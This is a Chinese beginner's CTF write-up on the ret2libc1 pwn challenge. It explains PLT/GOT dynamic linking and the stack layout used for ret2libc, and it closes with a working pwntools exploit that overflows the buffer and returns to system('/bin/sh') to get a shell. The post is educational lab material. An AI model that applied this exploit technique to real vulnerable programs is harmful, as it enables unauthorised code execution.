ret2libc的第一题
目录
前言
一、动态链接
二、ret2libc原理
三、exp编写
干货
干货一:python下的ELF
干货二:strings看看有没有待选字符串
编写exp
总结
前言
本来是和学习ret2text\ret2shellcode\ret2syscall一样在网上找文字资源,读博客,however~~
机缘巧合我又一次打开了大一曾经浏览过的bilibili上的PWN入门教程,然后发现大一看来晦涩难懂的东西,在浅浅学了几门专业课后(事实上正在学),发现竟比较“简单”能理解;大一看来gdb用的天花乱坠很难得样子,现在看来也无非是start/run/b main/next/continue/q/pattern create xx等等调试指令。
所以就跟着张剑威老师一起学。比较其他课程,每一节课程都3h,真的很细!!!对新手其实真的很友好!!(有一点点汇编知识即可)强推!!
其他b站大学的课程还没看,但是目前还是萌新,打基础的话,还是3h的课程比较爽捏(开插件2.4倍速看,贼爽)
一、动态链接
这里还是简单复述一下原理。更加详细的可以去看视频(太详细了而且易懂)。
我们都知道,ret2syscall一般适用场合是静态链接。和动态链接不同的是,在一开始编译一个c语言程序,就将所有的库函数都打包到最终的elf可执行文件中。而动态链接编译后的文件,很明显大小小于静态链接后的文件,是因为有大量的调用库函数,都只是在程序中做了标识,而没有一股脑儿把所有的函数体囊括进来。
这张图很好地说明了动态链接下程序执行的过程。
我们主要需要知道的是:
当函数运行到调用库函数时,程序将访问对应函数的plt表项,plt表项存着代码,代码分为两部分:
第一部分,跳转到对应的got表。
第二部分,查找函数的真实地址,修改got表内容。
got表项存着一个地址。然而这个地址并不一开始就是libc中函数的真实地址。
一开始,got表项中地址指向plt代码的第二部分。
后来,因运行plt第二部分代码段,got表内容被修改为真实函数地址。
依据以上,我们可以直到动态链接下,程序的特点:
第一次访问函数时,寻找到函数的真实地址,然后调用;第二次访问时,直接通过函数的真实地址进行调用。
因为程序运行实则把控制流交给了libc中的代码,因此动态链接下的可执行文件,成功进行了瘦身——需要的东西,找别人借,无需自己拥有。
二、ret2libc原理
我们在ret2syscall,可以通过静态链接所囊括大量库函数因而存在的大量gadget,组成我们想要的后门函数。而动态链接下的文件,其中没有库函数的函数体,而只有函数的标志信息。那么我们怎么进行栈溢出攻击呢?
首先前提肯定的,我们可以通过一个危险函数,劫持函数控制流。然而给我们这个地址,我们该怎么做呢?填什么地址呢?
以本题为例,本题中通过IDA可以找到一段system()函数,这段函数放在一个几乎不可能被执行的语句内,那么就没有用了吗?——不是的
system()在函数中出现(尽管几乎不会被执行),就意味着plt中有它的表项!!
而我们之前说过了,虽然没有囊括system的函数体,我们可以返回到system@plt的指令段,然后借此跳转到got表项指向的地址,即函数地址,实现对system函数的调用。
所以我们溢出时,将控制流劫持到system@plt指令段,就相当于调用了system函数。而我们继续要做的是,继续溢出,在栈上填充我们需要的信息,具体来说是system的参数。
大致如图所示 。那么怎么是这样排布的呢?具体我们接下来看。
我们知道,函数嵌套,会在栈上开辟新的栈帧,而被调函数(callee)的参数放在哪里呢?主调函数(caller)和被调函数的栈帧是怎么样的呢?
上面大致画了一下主调被调函数栈帧的关系,值得说明的是,中间三个栈空间画的比栈小仅仅是为了说明这三个栈空间的“归属”问题:arguments和ret_addr由caller保存,prev_ebp由callee保存。
因此,我们发现,假设callee是system函数,那么它寻找其参数,就要向栈底偏两个栈空间(越过ret_addr和prev_ebp找到arguments)。那么理论上我们溢出构造的栈内容直观上应该是这样的:
然而实则不正确,应该是:
为什么呢?因为上上上张图已经故意说明了,prev_ebp是由callee进行保存的,许许多多的函数(包括system)在被调用时的第一句指令,总是push ebp,因此有一个我们只需要给出一个虚假的ret_addr就行了,callee会自动往栈上压入ebp。
这里不得不提一个情况(实则很少见)那就是main和system中间还有一个函数的调用,这样不就打破栈的平衡了吗?强推b栈视频,老师在面对这个学生突然提出的问题时,解答十分精彩,给出了通用的溢出结构!
无论中间夹杂多少个函数,在shellcode中添加pop_ret即可完美衔接,具体看视频叭!
好了,开始上手!而且老师也给出很多做题干货,例如,接下来,我将不用IDA,而是分享几个实用的姿势。
三、exp编写
首先提炼一下我们要做的事情:、
- system函数地址,确切说是system@plt的地址
- "/bin/sh"地址,补充一下,这种字符串,都是程序力单独开辟空间存储的,作为参数实则是字符串地址;如果程序中没有,那就要用其他高级手法,but我还是萌新,不会。
- 老生常谈的偏移量
干货
干货一:python下的ELF
>>>python3
>>>from pwn import *
>>>io=process("./file_name")
>>>elf=ELF("./file_name")
>>>system_plt=elf.plt["system"]
>>>system_plt
134513760
>>>...
不用checksec也能知道其信息,经过这些操作找到system@plt的地址了。任务一完成。
解释一下,next()是因为python3相对于python2有所改动(返回值的类型),b"/bin/sh"是指在字节中类型的字符串,因为是在二进制文件中找是都是字节嘛。
找到/bin/sh的地址,任务二完成。
上述几个实际上都可以在IDA中完成,但是能用键盘,为什么要用鼠标呢? 既不用checksec,而且可以快速找到字符串、找到plt地址,也可以找到got表项的地址信息。
干货二:strings看看有没有待选字符串
strings file_name | grep /bin/sh #查看file_name文件中是否存在字符串 "/bin/sh"
如果下一行打印出了该字符串,说明存在该字符串。
编写exp
直接附上exp,关于offset,简单的用pattern就可以了,可以看这里
from pwn import *
io=process("./ret2libc1")
bin_sh=0x8048720
system_addr=0x8048460
offset=112
payload=b'a'*offset+p32(system_addr)+b'aaaa'+p32(bin_sh)
io.sendline(payload)
io.interactive()
成功获取自己的shell。文章来源:https://www.toymoban.com/news/detail-440052.html
总结
只能说,现在好喜欢看张剑威老师的课程(这样叫可能把他叫老了,他应该本科才刚毕业,确实牛,膜拜%%%%%),争当“刘勇”,加油!文章来源地址https://www.toymoban.com/news/detail-440052.html
到了这里,关于【PWN · ret2libc】ret2libc1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!